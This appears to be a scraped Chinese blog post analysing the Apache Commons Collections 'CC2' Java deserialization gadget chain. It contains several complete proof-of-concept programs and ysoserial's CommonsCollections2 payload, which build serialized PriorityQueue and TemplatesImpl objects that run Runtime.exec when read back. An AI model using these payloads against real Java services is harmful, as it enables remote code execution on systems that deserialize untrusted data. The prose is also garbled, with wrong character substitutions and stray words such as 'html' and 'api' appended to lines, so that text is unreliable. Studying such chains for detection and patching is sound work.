PriorityQueue() 使用默認的初始容量(11)建立一個 PriorityQueue,並根據其天然順序對元素進行排序。 PriorityQueue(int initialCapacity) 使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。
常見的方法:html
add(E e) 將指定的元素插入此優先級隊列 clear() 今後優先級隊列中移除全部元素。 comparator() 返回用來對此隊列中的元素進行排序的比較器;若是此隊列根據其元素的天然順序進行排序,則返回 null contains(Object o) 若是此隊列包含指定的元素,則返回 true。 iterator() 返回在此隊列中的元素上進行迭代的迭代器。 offer(E e) 將指定的元素插入此優先級隊列 peek() 獲取但不移除此隊列的頭;若是此隊列爲空,則返回 null。 poll() 獲取並移除此隊列的頭,若是此隊列爲空,則返回 null。 remove(Object o) 今後隊列中移除指定元素的單個實例(若是存在)。 size() 返回此 collection 中的元素數。 toArray() 返回一個包含此隊列全部元素的數組。
getDeclaredField是class超類的一個方法。該方法用來獲取類中或接口中已經存在的一個字段,也就是成員變量。返回的是一個field對象java
field 經常使用的方法apache
set 將指定對象參數上的此 Field對象表示的字段設置爲指定的新值
TransformingComparator
是一個修飾器,和CC1中的ChainedTransformer
相似。api
查看一下該類的compare
方法,compare
方法會去調用transformer
的transform
方法,這不就是回到了cc1的反序列化鏈了嘛。
數組
仍是先看調用鏈app
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
能夠看到後面3個鏈和cc1是同樣的。那咱們只分析前半段就行了。dom
首先來看PriorityQueue#readObject(),這裏的queue[i]的值是由readObject獲得的,也就是說在writeObject處寫入了對應的內容:
也就是說咱們能夠經過反射來設置queue[i]的值來達到控制queue[i]內容的目的。
readobject中又調用了heapify方法,這裏的queue[i]是咱們可控的。heapify方法中又調用了siftDown方法,
siftdown中的的x是咱們可控的,跟入第一個siftDownUsingComparator:
comparator.compare(x, (E) c) 這裏的x是咱們可控的
cc2的gadget中使用了TransformingComparator#compare來觸發後續鏈,看一下這個方法,能夠發現,這裏對this.transformer調用了transform方法,若是這個this.transformer可控的話,就能夠觸發cc1中的後半段鏈。
函數
package ysoserial.payloads; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; public class TestCC2 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); TransformingComparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射獲取PriorityQueue類的comparator字段 field.setAccessible(true); field.set(queue,comparator);//queue的comparator字段值爲comparator try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
關於這兒要使用add添加2個值進去,目的是爲了讓其size>1,只有size>1才能使的i>0,才能進入siftDown這個方法中
而add方法中調用了offer方法this
offer中又調用了siftup方法code
這裏須要保證comparator的值爲null,纔可以正常的添加元素進queue,若是咱們在add以前使comparator爲咱們構造好的TransformingComparator,就會報這麼一個錯誤:
回到CC2的gadget的TemplatesImpl類,在newTransformer
方法中調用了getTransletInstance
方法
getTransletInstance
方法中重點的是圈起來的兩行代碼
首先先跟進第一行代碼中的defineTransletClasses方法,這裏經過loader.defineClass的方式將bytecodes還原爲Class,
接着在外面又調用了_class[_transletIndex].newInstance方法實例化還原的Class,也就是說,咱們能夠經過TemplatesImpl#newTransformer方法來執行惡意類
import javassist.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.ClassLoader; import java.lang.reflect.Field; public class TestCC2 { public static void createPseson() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 建立 static 代碼塊,並插入代碼 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 寫入.class 文件 byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 進入 defineTransletClasses() 方法須要的條件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
最後我理解的gadget鏈
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses newInstance() Runtime.exec()
yso中cc2的gadget鏈
package ysoserial.payloads; import java.util.PriorityQueue; import java.util.Queue; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
其餘大哥的poc
package ysoserial.payloads; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class TestCC2test { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默認的類池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設置前面建立的CommonsCollections22222222222類的父類爲AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個空的類初始化,設置構造函數主體爲runtime byte[] bytes=payload.toBytecode();//轉換爲byte數組 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置爲runtime的byte數組 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置爲test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。 queue.add(1);//添加數字1插入此優先級隊列 queue.add(1);//添加數字1插入此優先級隊列 Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//設置queue的comparator字段值爲comparator Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容爲templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }